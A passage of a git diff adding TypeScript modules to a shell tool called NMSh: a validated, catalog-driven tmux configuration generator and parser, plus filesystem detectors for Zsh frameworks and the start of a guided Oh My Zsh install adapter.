'../../configuration/paths.js'; +import {shellQuote} from '../../host/terminalHost.js'; + +/** + * tmux Tool Configuration: a typed model (option overrides, NMSh-owned key + * bindings, a Status Studio layout, the pane frontend) stored as NMSh data + * and rendered into ONE NMSh-managed tmux file. The user's tmux.conf only + * ever gains one reviewed include of that file; everything NMSh configures + * lives there, so updates are atomic rewrites of NMSh's own file and removal + * is exact. No arbitrary strings become tmux commands: every option, value, + * key, action and status module comes from the catalogs below, and status + * modules never use #(...) shell execution. + */ + +export type TmuxScope = 'server' | 'session' | 'window'; +export interface TmuxOptionDef { + id: string; + label: string; + scope: TmuxScope; + description: string; + /** Allowed values (enum) or an integer range. */ + values?: readonly string[]; + range?: [number, number]; + /** tmux's documented default, used for Effective when nothing else sets it. */ + defaultValue: string; + group: 'General' | 'Status' | 'Keys'; + guidance?: string; +} + +export const TMUX_OPTIONS: readonly TmuxOptionDef[] = [ + {id: 'mouse', label: 'Mouse', scope: 'session', values: ['on', 'off'], defaultValue: 'off', group: 'General', description: 'Mouse selects panes and windows, resizes panes and scrolls'}, + {id: 'base-index', label: 'First window number', scope: 'session', range: [0, 9], defaultValue: '0', group: 'General', description: 'Number of the first window'}, + {id: 'pane-base-index', label: 'First pane number', scope: 'window', range: [0, 9], defaultValue: '0', group: 'General', description: 'Number of the first pane'}, + {id: 'renumber-windows', label: 'Renumber windows', scope: 'session', values: ['on', 'off'], defaultValue: 'off', group: 'General', description: 'Close gaps in window numbers when a window closes'}, + {id: 'history-limit', label: 'Scrollback lines', scope: 'session', range: [1000, 1_000_000], defaultValue: '2000', group: 'General', description: 'Lines kept per pane'}, + {id: 'escape-time', label: 'Escape delay (ms)', scope: 'server', range: [0, 2000], defaultValue: '500', group: 'General', description: 'How long tmux waits after Esc for a key sequence'}, + {id: 'focus-events', label: 'Focus events', scope: 'server', values: ['on', 'off'], defaultValue: 'off', group: 'General', description: 'Pass terminal focus in/out to programs'}, + {id: 'extended-keys', label: 'Extended keys', scope: 'server', values: ['on', 'off', 'always'], defaultValue: 'off', group: 'General', description: 'Extended key reporting for programs that ask for it'}, + {id: 'set-clipboard', label: 'Clipboard', scope: 'server', values: ['on', 'off', 'external'], defaultValue: 'external', group: 'General', description: 'Whether tmux and programs may set the terminal clipboard (OSC 52)'}, + {id: 'default-terminal', label: 'Terminal type', scope: 'server', values: ['tmux-256color', 'screen-256color'], defaultValue: 'screen', group: 'General', + description: 'TERM inside tmux', guidance: 'tmux-256color needs its terminfo entry on this system and on hosts you SSH to; screen-256color works almost everywhere'}, + {id: 'status', label: 'Status line', scope: 'session', values: ['on', 'off', '2'], defaultValue: 'on', group: 'Status', description: 'Show the status line (2 = two lines)'}, + {id: 'status-position', label: 'Status position', scope: 'session', values: ['bottom', 'top'], defaultValue: 'bottom', group: 'Status', description: 'Top or bottom of the window'}, + {id: 'status-interval', label: 'Status refresh (s)', scope: 'session', range: [1, 3600], defaultValue: '15', group: 'Status', description: 'Seconds between status refreshes'}, + {id: 'status-justify', label: 'Window list', scope: 'session', values: ['left', 'centre', 'right', 'absolute-centre'], defaultValue: 'left', group: 'Status', description: 'Where the window list sits'}, + {id: 'status-keys', label: 'Command prompt keys', scope: 'session', values: ['emacs', 'vi'], defaultValue: 'emacs', group: 'Keys', description: 'Key style in tmux\'s command prompt'}, + {id: 'mode-keys', label: 'Copy mode keys', scope: 'window', values: ['emacs', 'vi'], defaultValue: 'emacs', group: 'Keys', description: 'Key style in copy mode'}, +]; + +export const TMUX_ACTIONS = { + 'send-prefix': {label: 'Send prefix', command: 'send-prefix'}, + 'new-window': {label: 'New window', command: 'new-window -c "#{pane_current_path}"'}, + 'split-vertical': {label: 'Split left/right', command: 'split-window -h -c "#{pane_current_path}"'}, + 'split-horizontal': {label: 'Split top/bottom', command: 'split-window -v -c "#{pane_current_path}"'}, + 'next-window': {label: 'Next window', command: 'next-window'}, + 'previous-window': {label: 'Previous window', command: 'previous-window'}, + 'pane-left': {label: 'Select pane left', command: 'select-pane -L'}, + 'pane-right': {label: 'Select pane right', command: 'select-pane -R'}, + 'pane-up': {label: 'Select pane up', command: 'select-pane -U'}, + 'pane-down': {label: 'Select pane down', command: 'select-pane -D'}, + 'resize-left': {label: 'Resize pane left', command: 'resize-pane -L 5'}, + 'resize-right': {label: 'Resize pane right', command: 'resize-pane -R 5'}, + 'resize-up': {label: 'Resize pane up', command: 'resize-pane -U 5'}, + 'resize-down': {label: 'Resize pane down', command: 'resize-pane -D 5'}, + 'copy-mode': {label: 'Copy mode', command: 'copy-mode'}, + 'reload': {label: 'Reload NMSh-managed config', command: 'RELOAD'}, + 'detach': {label: 'Detach', command: 'detach-client'}, +} as const; +export type TmuxActionId = keyof typeof TMUX_ACTIONS; +export const TMUX_ACTION_IDS = Object.keys(TMUX_ACTIONS) as TmuxActionId[]; +export type TmuxTable = 'prefix' | 'root'; +export interface TmuxBinding {key: string; table: TmuxTable; action: TmuxActionId} + +/** tmux's own default prefix-table bindings for the catalog actions (for "default" provenance and conflicts). */ +export const TMUX_DEFAULT_BINDINGS: readonly TmuxBinding[] = [ + {key: 'c', table: 'prefix', action: 'new-window'}, {key: '%', table: 'prefix', action: 'split-vertical'}, {key: '"', table: 'prefix', action: 'split-horizontal'}, + {key: 'n', table: 'prefix', action: 'next-window'}, {key: 'p', table: 'prefix', action: 'previous-window'}, {key: 'Left', table: 'prefix', action: 'pane-left'}, + {key: 'Right', table: 'prefix', action: 'pane-right'}, {key: 'Up', table: 'prefix', action: 'pane-up'}, {key: 'Down', table: 'prefix', action: 'pane-down'}, + {key: '[', table: 'prefix', action: 'copy-mode'}, {key: 'd', table: 'prefix', action: 'detach'}, +]; + +export const STATUS_MODULES = { + session: {label: 'Session name', format: '#S'}, + windowIndex: {label: 'Window index', format: '#I'}, + windowName: {label: 'Window name', format: '#W'}, + paneIndex: {label: 'Pane index', format: '#P'}, + paneCommand: {label: 'Pane command', format: '#{pane_current_command}'}, + paneCwd: {label: 'Pane directory', format: '#{b:pane_current_path}'}, + host: {label: 'Host', format: '#h'}, + date: {label: 'Date', format: '%Y-%m-%d'}, + time: {label: 'Time', format: '%H:%M'}, +} as const; +export type StatusModuleId = keyof typeof STATUS_MODULES; +export const STATUS_MODULE_IDS = Object.keys(STATUS_MODULES) as StatusModuleId[]; +export const STATUS_SEPARATORS = ['·', '|', '│', '›'] as const; + +export interface TmuxStatusLayout {left: StatusModuleId[]; right: StatusModuleId[]; separator: typeof STATUS_SEPARATORS[number]; windowFormat: 'index-name' | 'name' | 'index'} + +export interface TmuxModel { + /** NMSh overrides only; absent options inherit (user config or tmux default). */ + options: Record; + /** Prefix key, e.g. C-a; absent inherits. */ + prefix?: string; + /** NMSh-owned bindings (only these are written; user bindings are never removed). */ + bindings: TmuxBinding[]; + /** Status Studio; absent leaves status formats alone. */ + status?: TmuxStatusLayout; + /** New panes/windows without an explicit command: the default shell, or NMSh. */ + frontend: 'shell' | 'nmsh'; +} + +export const DEFAULT_TMUX_MODEL = (): TmuxModel => ({options: {}, bindings: [], frontend: 'shell'}); + +const KEY = /^(?:(?:C|M|S)-){0,3}(?:[a-zA-Z0-9]|F(?:[1-9]|1[0-2])|Up|Down|Left|Right|Space|Enter|Tab|BSpace|Escape|Home|End|PPage|NPage|[\\|\-_=+[\];',./`%"!@#$^&*()<>?:{}~])$/u; +export const validTmuxKey = (key: string): boolean => KEY.test(key); +const isRecord = (value: unknown): value is Record => typeof value === 'object' && value !== null && !Array.isArray(value); + +export function validOptionValue(option: TmuxOptionDef, value: string): boolean { + if (option.values) return option.values.includes(value); + if (option.range) { const number = Number(value); return /^\d{1,7}$/u.test(value) && number >= option.range[0] && number <= option.range[1]; } + return false; +} + +export function normalizeTmuxModel(value: unknown): TmuxModel { + const model = DEFAULT_TMUX_MODEL(); + if (!isRecord(value)) return model; + if (isRecord(value.options)) for (const [id, raw] of Object.entries(value.options)) { + const option = TMUX_OPTIONS.find(item => item.id === id); + if (option && typeof raw === 'string' && validOptionValue(option, raw)) model.options[id] = raw; + } + if (typeof value.prefix === 'string' && validTmuxKey(value.prefix)) model.prefix = value.prefix; + if (Array.isArray(value.bindings)) for (const item of value.bindings.slice(0, 64)) { + if (isRecord(item) && typeof item.key === 'string' && validTmuxKey(item.key) && (item.table === 'prefix' || item.table === 'root') + && TMUX_ACTION_IDS.includes(item.action as TmuxActionId) && !model.bindings.some(binding => binding.key === item.key && binding.table === item.table)) { + model.bindings.push({key: item.key, table: item.table, action: item.action as TmuxActionId}); + } + } + if (isRecord(value.status)) { + const modules = (list: unknown) => Array.isArray(list) ? list.filter((id): id is StatusModuleId => STATUS_MODULE_IDS.includes(id as StatusModuleId)).slice(0, 6) : []; + const separator = STATUS_SEPARATORS.includes(value.status.separator as typeof STATUS_SEPARATORS[number]) ? value.status.separator as typeof STATUS_SEPARATORS[number] : '·'; + const windowFormat = value.status.windowFormat === 'name' || value.status.windowFormat === 'index' ? value.status.windowFormat : 'index-name'; + model.status = {left: modules(value.status.left), right: modules(value.status.right), separator, windowFormat}; + } + if (value.frontend === 'nmsh') model.frontend = 'nmsh'; + return model; +} + +export const tmuxModelPath = (env: NodeJS.ProcessEnv = process.env) => join(nmshConfigDirectory(env), 'tools', 'tmux.json'); +export const tmuxManagedPath = (env: NodeJS.ProcessEnv = process.env) => join(nmshConfigDirectory(env), 'theme-bridge', 'tmux', 'nmsh.tmux.conf'); + +export function loadTmuxModel(env: NodeJS.ProcessEnv = process.env): TmuxModel { + try { return normalizeTmuxModel(JSON.parse(readFileSync(tmuxModelPath(env), 'utf8'))); } catch { return DEFAULT_TMUX_MODEL(); } +} + +export function saveTmuxModel(model: TmuxModel, env: NodeJS.ProcessEnv = process.env): void { + const path = tmuxModelPath(env); + mkdirSync(dirname(path), {recursive: true, mode: 0o700}); + const staged = `${path}.${process.pid}.tmp`; + writeFileSync(staged, `${JSON.stringify(normalizeTmuxModel(model), null, 2)}\n`, {encoding: 'utf8', mode: 0o600}); + renameSync(staged, path); +} + +/** A path safe inside single quotes in tmux and /bin/sh. */ +export const quotablePath = (path: string): boolean => /^\/[^'"\\\u0000-\u001f\u007f$`]+$/u.test(path); + +/** + * The pane frontend command: run NMSh, unless this tmux server was itself + * started inside an NMSh session (NMSH_ACTIVE inherited), where NMSh's own + * recursion guard would refuse; then the user's login shell starts instead. + * Run through /bin/sh so it works whatever tmux's default-shell is. + */ +export function frontendCommand(nmsh: string): string | undefined { + if (!frontendPath(nmsh)) return undefined; + // The program text is fixed; the executable path is only ever argv data ("$1"). + return `${FRONTEND_PROGRAM} ${shellQuote(nmsh)}`; +} + +const FRONTEND_PROGRAM = `exec /bin/sh -c 'if [ "$NMSH_ACTIVE" = 1 ]; then exec "\${SHELL:-/bin/sh}" -l; else exec "$1"; fi' nmsh-frontend`; + +/** Any absolute path without control characters (a tmux config line cannot carry them). */ +const frontendPath = (path: string): boolean => /^\/[^\u0000-\u001f\u007f]*$/u.test(path); + +/** Inverse of tmuxQuote for the subset it emits; undefined for anything else. */ +function tmuxUnquote(quoted: string): string | undefined { + const match = /^"((?:[^"\\$]|\\[\\"$])*)"$/u.exec(quoted); + return match ? match[1]!.replace(/\\(.)/gu, '$1') : undefined; +} + +/** True only for exactly FRONTEND_PROGRAM followed by one shellQuote'd absolute path. */ +function validFrontendLine(quoted: string): boolean { + const command = tmuxUnquote(quoted); + if (!command?.startsWith(`${FRONTEND_PROGRAM} `)) return false; + const arg = command.slice(FRONTEND_PROGRAM.length + 1); + const path = /^'(?:[^']|'\\'')*'$/u.test(arg) ? arg.slice(1, -1).replace(/'\\''/gu, "'") : /^[\w@%+=:,./-]+$/u.test(arg) ? arg : undefined; + return path !== undefined && frontendPath(path) && shellQuote(path) === arg; +} + +function setDirective(option: TmuxOptionDef, value: string): string { + return option.scope === 'server' ? `set -s ${option.id} ${value}` : option.scope === 'window' ? `setw -g ${option.id} ${value}` : `set -g ${option.id} ${value}`; +} + +const tmuxQuote = (text: string) => `"${text.replace(/[\\"$]/gu, match => `\\${match}`)}"`; + +function statusFormat(modules: readonly StatusModuleId[], separator: string): string { + return modules.length ? ` ${modules.map(id => STATUS_MODULES[id].format).join(` ${separator} `)} ` : ''; +} + +/** + * The managed tmux file: typed overrides, NMSh bindings, Status Studio + * formats, the pane frontend, then the Theme Bridge colors (when generated). + */ +export function renderTmuxConfig(model: TmuxModel, paths: {self: string; theme: string; nmsh?: string}): string { + const lines = ['# Generated by NMSh Tool Configuration and Theme Bridge. NMSh replaces this file; your own tmux.conf stays yours.']; + for (const option of TMUX_OPTIONS) { + const value = model.options[option.id]; + if (value !== undefined) lines.push(setDirective(option, value)); + } + if (model.prefix) lines.push(`set -g prefix ${model.prefix}`); + for (const binding of model.bindings) { + const action = TMUX_ACTIONS[binding.action]; + const command = binding.action === 'reload' ? `source-file '${paths.self}' \\; display-message "NMSh tmux config reloaded"` : action.command; + lines.push(`bind-key ${binding.table === 'root' ? '-n ' : ''}${tmuxKey(binding.key)} ${command}`); + } + if (model.status) { + lines.push(`set -g status-left ${tmuxQuote(statusFormat(model.status.left, model.status.separator))}`); + lines.push(`set -g status-right ${tmuxQuote(statusFormat(model.status.right, model.status.separator))}`); + const window = model.status.windowFormat === 'name' ? ' #W ' : model.status.windowFormat === 'index' ? ' #I ' : ' #I:#W '; + lines.push(`setw -g window-status-format ${tmuxQuote(window)}`, `setw -g window-status-current-format ${tmuxQuote(window)}`); + } + if (model.frontend === 'nmsh' && paths.nmsh) { + const command = frontendCommand(paths.nmsh); + if (command) lines.push(`set -g default-command ${tmuxQuote(command)}`); + } + if (quotablePath(paths.theme)) lines.push(`source-file -q '${paths.theme}'`); + return `${lines.join('\n')}\n`; +} + +function tmuxKey(key: string): string { + return /^[A-Za-z0-9]+$|^(?:(?:C|M|S)-)+[A-Za-z0-9]+$/u.test(key) ? key : `'${key.replace(/'/gu, "\\'")}'`; +} + +/** Validates the managed file line by line against exactly what renderTmuxConfig can produce. */ +export function validateTmuxConfig(content: string): boolean { + const options = new Set(TMUX_OPTIONS.map(option => option.id)); + const commands = new Set(Object.values(TMUX_ACTIONS).map(action => action.command)); + return content.split('\n').every(line => { + if (line === '' || line.startsWith('# ')) return true; + if (/^set -g prefix \S+$/u.test(line)) return validTmuxKey(line.slice(14)); + let match = /^(?:set -s|set -g|setw -g) ([a-z-]+) (\S+)$/u.exec(line); + if (match) { + const option = TMUX_OPTIONS.find(item => item.id === match![1]); + return options.has(match[1]!) && Boolean(option) && validOptionValue(option!, match[2]!); + } + match = /^bind-key (?:-n )?(\S+) (.+)$/u.exec(line); + if (match) return commands.has(match[2]!) || /^source-file '\/[^']+' \\; display-message "NMSh tmux config reloaded"$/u.test(match[2]!); + if (/^set -g status-(?:left|right) "[^"\\$]*"$/u.test(line) || /^setw -g window-status(?:-current)?-format " #[IW](?::#W)? "$/u.test(line)) { + const formats = (line.match(/"([^"]*)"/u)?.[1] ?? ''); + return !/#\(/u.test(formats); + } + if (line.startsWith('set -g default-command ')) return validFrontendLine(line.slice('set -g default-command '.length)); + return /^source-file -q '\/[^']+'$/u.test(line); + }); +} + +// ---- Reading the user's own tmux config (supported subset only) --------------------- + +export interface TmuxImport { + options: Record; + prefix?: string; + bindings: TmuxBinding[]; + /** Lines that are user-owned and were not understood (never evaluated). */ + unsupported: string[]; + /** Dynamic or recursive directives that were deliberately not followed. */ + ignored: string[]; +} + +const OPTION_ALIASES: Record = {}; + +/** + * Conservative parser for canonical set/set-option/set-window-option, + * bind-key and unbind-key lines. if-shell, run-shell, source-file, %if, + * command substitutions and anything else are reported, never evaluated. + */ +export function parseTmuxConfig(text: string): TmuxImport { + const result: TmuxImport = {options: {}, bindings: [], unsupported: [], ignored: []}; + for (const raw of text.split(/\r?\n/u).slice(0, 5000)) { + const line = raw.trim(); + if (!line || line.startsWith('#')) continue; + if (/^(?:if-shell|if|run-shell|run|source-file|source|%if|%else|%endif|%hidden)\b/u.test(line) || /#\(|\$\(|`/u.test(line)) { result.ignored.push(line.slice(0, 120)); continue; } + const set = /^(set-option|set|set-window-option|setw)((?:\s+-[a-zA-Z]+)*)\s+([a-z@][a-z0-9-]*)\s+(.+)$/u.exec(line); + if (set) { + const id = OPTION_ALIASES[set[3]!] ?? set[3]!; + const value = set[4]!.trim().replace(/^["']|["']$/gu, ''); + const option = TMUX_OPTIONS.find(item => item.id === id); + if (id === 'prefix' && validTmuxKey(value)) result.prefix = value; + else if (option && validOptionValue(option, value)) result.options[id] = value; + else result.unsupported.push(line.slice(0, 120)); + continue; + } + const bind = /^(?:bind-key|bind)((?:\s+-[a-zA-Z]+(?:\s+[a-z-]+)?)*)\s+(\S+)\s+(.+)$/u.exec(line); + if (bind) { + const flags = bind[1] ?? ''; + const table: TmuxTable | undefined = /-n\b/u.test(flags) || /-T\s+root/u.test(flags) ? 'root' : /-T\s+/u.test(flags) && !/-T\s+prefix/u.test(flags) ? undefined : 'prefix'; + const key = bind[2]!.replace(/^['"]|['"]$/gu, ''); + const command = bind[3]!.trim(); + const action = TMUX_ACTION_IDS.find(id => TMUX_ACTIONS[id].command === command || TMUX_ACTIONS[id].command.split(' -c ')[0] === command); + if (table && action && validTmuxKey(key)) result.bindings.push({key, table, action}); + else result.unsupported.push(line.slice(0, 120)); + continue; + } + result.unsupported.push(line.slice(0, 120)); + } + return result; +} + +/** The user's own tmux config file (existing one preferred), read bounded; undefined when absent. */ +export function readUserTmuxConfig(env: NodeJS.ProcessEnv = process.env, home = env.HOME || homedir()): {path: string; text: string} | undefined { + const xdg = env.XDG_CONFIG_HOME && env.XDG_CONFIG_HOME.startsWith('/') ? env.XDG_CONFIG_HOME : join(home, '.config'); + for (const path of [join(home, '.tmux.conf'), join(xdg, 'tmux', 'tmux.conf')]) { + try { + if (!existsSync(path) || statSync(path).size > 512 * 1024) continue; + return {path, text: readFileSync(path, 'utf8')}; + } catch { continue; } + } + return undefined; +} + +export interface FieldProvenance {effective: string; override?: string; user?: string; source: 'NMSh managed file' | 'your tmux config' | 'tmux default'} + +/** Effective value and where it comes from: NMSh override, then the user's config, then tmux's default. */ +export function optionProvenance(option: TmuxOptionDef, model: TmuxModel, user: TmuxImport | undefined): FieldProvenance { + const override = model.options[option.id]; + const mine = user?.options[option.id]; + if (override !== undefined) return {effective: override, override, ...(mine !== undefined ? {user: mine} : {}), source: 'NMSh managed file'}; + if (mine !== undefined) return {effective: mine, user: mine, source: 'your tmux config'}; + return {effective: option.defaultValue, source: 'tmux default'}; +} + +/** NMSh bindings that would override one of the user's own bindings for the same key and table. */ +export function bindingConflicts(model: TmuxModel, user: TmuxImport | undefined): Array<{binding: TmuxBinding; user: TmuxBinding}> { + return model.bindings.flatMap(binding => { + const theirs = user?.bindings.find(item => item.key === binding.key && item.table === binding.table && item.action !== binding.action); + return theirs ? [{binding, user: theirs}] : []; + }); +} + +/** Typed changes Ask, dotfiles and the panel all apply through. */ +export type TmuxChange = + | {kind: 'option'; id: string; value?: string} + | {kind: 'prefix'; key?: string} + | {kind: 'binding'; binding: TmuxBinding; remove?: boolean} + | {kind: 'status'; layout?: TmuxStatusLayout} + | {kind: 'frontend'; value: 'shell' | 'nmsh'}; + +export function applyTmuxChange(model: TmuxModel, change: TmuxChange): TmuxModel | {error: string} { + const next = structuredClone(model); + if (change.kind === 'option') { + const option = TMUX_OPTIONS.find(item => item.id === change.id); + if (!option) return {error: `NMSh has no supported tmux setting ${change.id}.`}; + if (change.value === undefined) delete next.options[change.id]; + else if (!validOptionValue(option, change.value)) return {error: `${option.label}: ${change.value} is not one of the documented values.`}; + else next.options[change.id] = change.value; + } else if (change.kind === 'prefix') { + if (change.key === undefined) { delete next.prefix; next.bindings = next.bindings.filter(binding => binding.action !== 'send-prefix'); } + else if (!validTmuxKey(change.key)) return {error: `${change.key} is not a key NMSh can bind safely.`}; + else { + next.prefix = change.key; + next.bindings = [...next.bindings.filter(binding => binding.action !== 'send-prefix'), {key: change.key, table: 'prefix', action: 'send-prefix'}]; + } + } else if (change.kind === 'binding') { + if (!validTmuxKey(change.binding.key) || !TMUX_ACTION_IDS.includes(change.binding.action)) return {error: 'That binding is not supported.'}; + next.bindings = next.bindings.filter(binding => !(binding.key === change.binding.key && binding.table === change.binding.table)); + if (!change.remove) next.bindings.push(change.binding); + } else if (change.kind === 'status') { + if (change.layout) next.status = change.layout; else delete next.status; + } else next.frontend = change.value; + return normalizeTmuxModel(next); +} + +/** One plain sentence per change, for reviews. */ +export function describeTmuxChange(change: TmuxChange): string { + if (change.kind === 'option') { + const option = TMUX_OPTIONS.find(item => item.id === change.id); + return `${option?.label ?? change.id}: ${change.value === undefined ? 'inherit (remove NMSh override)' : change.value}`; + } + if (change.kind === 'prefix') return change.key ? `Prefix: ${change.key} (and ${change.key} ${change.key} sends it through)` : 'Prefix: inherit'; + if (change.kind === 'binding') return `${change.remove ? 'Remove' : 'Bind'} ${change.binding.table === 'root' ? '' : 'prefix '}${change.binding.key} → ${TMUX_ACTIONS[change.binding.action].label}`; + if (change.kind === 'status') return change.layout ? 'Status line layout from Status Studio' : 'Status line layout: inherit'; + return `New panes and windows start ${change.value === 'nmsh' ? 'NMSh' : 'your default shell'}`; +} diff --git a/src/tools/config/tmuxManaged.ts b/src/tools/config/tmuxManaged.ts new file mode 100644 index 00000000..cb37f81c --- /dev/null +++ b/src/tools/config/tmuxManaged.ts @@ -0,0 +1,34 @@ +import {existsSync, realpathSync} from 'node:fs'; +import {resolveCommand} from '../../providers/providers.js'; +import {artifactPath, loadLedger, writeArtifact} from '../../themeBridge/artifacts.js'; +import {DEFAULT_TMUX_MODEL, loadTmuxModel, quotablePath, renderTmuxConfig, validateTmuxConfig, type TmuxModel} from './tmux.js'; + +/** + * Writing the one NMSh-managed tmux file (staged, validated, atomic, + * ownership-checked through the Theme Bridge ledger). It carries the Tool + * Configuration settings and sources the Theme Bridge colors. + */ + +/** The absolute NMSh launcher for new tmux panes: the `nmsh` on PATH, resolved; never a guess. */ +export function nmshExecutable(env: NodeJS.ProcessEnv = process.env): string | undefined { + const found = resolveCommand('nmsh', env.PATH ?? ''); + if (!found) return undefined; + try { const real = realpathSync(found); return quotablePath(real) ? real : quotablePath(found) ? found : undefined; } catch { return quotablePath(found) ? found : undefined; } +} + +export const modelIsEmpty = (model: TmuxModel) => JSON.stringify(model) === JSON.stringify(DEFAULT_TMUX_MODEL()); + +/** Needed when NMSh configures tmux, Theme Bridge styles it, or the file already exists as NMSh's. */ +export function tmuxManagedNeeded(model: TmuxModel, bridgeActive: boolean, env: NodeJS.ProcessEnv = process.env): boolean { + return !modelIsEmpty(model) || bridgeActive || Boolean(loadLedger(env).entries.tmuxConfig); +} + +export function writeTmuxManaged(model: TmuxModel = loadTmuxModel(), env: NodeJS.ProcessEnv = process.env): {ok: true; path: string; changed: boolean} | {ok: false; error: string} { + const nmsh = model.frontend === 'nmsh' ? nmshExecutable(env) : undefined; + if (model.frontend === 'nmsh' && !nmsh) return {ok: false, error: 'The nmsh launcher was not found on PATH (or its path cannot be quoted safely), so new panes cannot start NMSh.'}; + const path = artifactPath('tmuxConfig', env); + const content = renderTmuxConfig(model, {self: path, theme: artifactPath('tmux', env), ...(nmsh ? {nmsh} : {})}); + return writeArtifact('tmuxConfig', content, validateTmuxConfig, {mode: 'follow', themeRef: '', format: 'tmux-managed', formatVersion: 1}, env); +} + +export const tmuxManagedExists = (env: NodeJS.ProcessEnv = process.env) => existsSync(artifactPath('tmuxConfig', env)); diff --git a/src/tools/frameworks.ts b/src/tools/frameworks.ts new file mode 100644 index 00000000..a0aaeafd --- /dev/null +++ b/src/tools/frameworks.ts @@ -0,0 +1,158 @@ +import {lstatSync, readFileSync, statSync} from 'node:fs'; +import {homedir} from 'node:os'; +import {isAbsolute, join, resolve} from 'node:path'; +import {detectPowerlevel10k, powerlevel10kThemeCandidates} from '../prompt/powerlevel10k.js'; + +/** + * Filesystem detection for curated tools that are not executables: Zsh + * frameworks and prompt themes. Each detector is registered explicitly and + * looks only at documented locations for a recognizable structure (a + * directory merely named like the framework is not enough). Nothing is + * sourced, executed or written; a detection grants no install, uninstall, + * configuration or provider authority by itself. + */ + +export interface FilesystemFact { + /** Framework root or theme file that proved the installation. */ + path: string; + /** How it was found, in plain words, only when known (e.g. "$ZSH", "via Oh My Zsh"). */ + source?: string; +} + +const isDirectory = (path: string) => { try { return statSync(path).isDirectory(); } catch { return false; } }; +const isFile = (path: string) => { try { return statSync(path).isFile(); } catch { return false; } }; + +/** A trustworthy absolute directory path from the environment, or undefined. */ +function envDirectory(value: string | undefined, home: string): string | undefined { + const trimmed = value?.trim().replace(/^~(?=\/|$)/u, home); + return trimmed && isAbsolute(trimmed) && !/[\u0000-\u001f\u007f]/u.test(trimmed) ? resolve(trimmed) : undefined; +} + +/** Oh My Zsh's canonical layout: the loader plus its lib and themes directories. */ +export function isOhMyZshRoot(path: string): boolean { + return isFile(join(path, 'oh-my-zsh.sh')) && isDirectory(join(path, 'lib')) && isDirectory(join(path, 'themes')); +} + +export function detectOhMyZsh(env: NodeJS.ProcessEnv = process.env, home = env.HOME || homedir()): FilesystemFact | undefined { + const configured = envDirectory(env.ZSH, home); + if (configured && isOhMyZshRoot(configured)) return {path: configured, source: '$ZSH'}; + const fallback = join(home, '.oh-my-zsh'); + return isOhMyZshRoot(fallback) ? {path: fallback} : undefined; +} + +/** Prezto: documented clone location ${ZDOTDIR:-$HOME}/.zprezto with its init.zsh and modules. */ +export function detectPrezto(env: NodeJS.ProcessEnv = process.env, home = env.HOME || homedir()): FilesystemFact | undefined { + const root = join(envDirectory(env.ZDOTDIR, home) ?? home, '.zprezto'); + return isFile(join(root, 'init.zsh')) && isDirectory(join(root, 'modules')) ? {path: root} : undefined; +} + +/** Zim: ${ZIM_HOME:-${ZDOTDIR:-$HOME}/.zim} holding the zimfw.zsh manager. */ +export function detectZim(env: NodeJS.ProcessEnv = process.env, home = env.HOME || homedir()): FilesystemFact | undefined { + const configured = envDirectory(env.ZIM_HOME, home); + const root = configured ?? join(envDirectory(env.ZDOTDIR, home) ?? home, '.zim'); + return isFile(join(root, 'zimfw.zsh')) ? {path: root, ...(configured ? {source: '$ZIM_HOME'} : {})} : undefined; +} + +/** zinit: documented ${XDG_DATA_HOME:-$HOME/.local/share}/zinit/zinit.git/zinit.zsh, or $ZINIT_HOME. */ +export function detectZinit(env: NodeJS.ProcessEnv = process.env, home = env.HOME || homedir()): FilesystemFact | undefined { + const configured = envDirectory(env.ZINIT_HOME, home); + const root = configured ?? join(envDirectory(env.XDG_DATA_HOME, home) ?? join(home, '.local', 'share'), 'zinit', 'zinit.git'); + return isFile(join(root, 'zinit.zsh')) ? {path: root, ...(configured ? {source: '$ZINIT_HOME'} : {})} : undefined; +} + +/** Antidote: documented clone ${ZDOTDIR:-$HOME}/.antidote, or the Homebrew formula's share directory. */ +export function detectAntidote(env: NodeJS.ProcessEnv = process.env, home = env.HOME || homedir()): FilesystemFact | undefined { + const clone = join(envDirectory(env.ZDOTDIR, home) ?? home, '.antidote'); + if (isFile(join(clone, 'antidote.zsh'))) return {path: clone}; + for (const prefix of [envDirectory(env.HOMEBREW_PREFIX, home), '/opt/homebrew', '/usr/local'].filter((value): value is string => Boolean(value))) { + const shared = join(prefix, 'share', 'antidote'); + if (isFile(join(shared, 'antidote.zsh'))) return {path: shared, source: 'Homebrew'}; + } + return undefined; +} + +/** Powerlevel10k through its one existing detector; the source is named only when the found path says it. */ +export function detectPowerlevel10kTool(env: NodeJS.ProcessEnv = process.env, home = env.HOME || homedir()): FilesystemFact | undefined { + const status = detectPowerlevel10k(env, home, powerlevel10kThemeCandidates(env, home)); + if (!status.installed || !status.themePath) return undefined; + const path = status.themePath; + const source = /\/custom\/themes\/powerlevel10k\//u.test(path) ? 'via Oh My Zsh' + : /\/share\/powerlevel10k\//u.test(path) && /^(?:\/opt\/homebrew|\/usr\/local)\//u.test(path) ? 'Homebrew' + : /zinit\/plugins\//u.test(path) ? 'via zinit' + : path === join(home, 'powerlevel10k', 'powerlevel10k.zsh-theme') ? 'standalone clone' + : path.startsWith('/usr/share/') ? 'system package' : undefined; + return {path, ...(source ? {source} : {})}; +} + +// ---- Oh My Zsh: guided install and previous-zshrc recovery -------------------------- + +/** + * Curated metadata for a tool whose upstream installer has config side + * effects. NMSh does not run such installers (it never runs install + * scripts); it explains, snapshots, hands the terminal to the person, and + * verifies afterwards. First-party only. + */ +export interface InstallAdapter { + id: string; + /** Exact official source shown to the person. */ + source: string; + prerequisites: readonly string[]; + /** Files the upstream installer may replace or rename by default. */ + filesAtRisk: (env: NodeJS.ProcessEnv) => string[]; + /** Files fingerprinted (and backed up) before the handoff. */ + snapshotTargets: (env: NodeJS.ProcessEnv) => string[]; + /** Fixed, documented settings that disable the side effects; shown verbatim. */ + safeEnvironment: Readonly>; + safeArgs: readonly string[]; + /** The person runs it in a terminal; NMSh never executes it. */ + handoff: 'manual-terminal'; + steps: (env: NodeJS.ProcessEnv) => string[]; + verify: (env: NodeJS.ProcessEnv) => FilesystemFact | undefined; + recoveryHints: readonly string[]; +} + +export const zdotdir = (env: NodeJS.ProcessEnv = process.env) => envDirectory(env.ZDOTDIR, env.HOME || homedir()) ?? (env.HOME || homedir()); + +export const OH_MY_ZSH_INSTALLER_URL = 'https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh'; + +const quote = (value: string) => `'${value.replace(/'/gu, `'\\''`)}'`; + +/** Checked against the current official tools/install.sh (KEEP_ZSHRC, CHSH, RUNZSH, REPO/REMOTE/BRANCH, --unattended, --keep-zshrc). */ +export const OH_MY_ZSH_INSTALL: InstallAdapter = { + id: 'oh-my-zsh', + source: OH_MY_ZSH_INSTALLER_URL, + 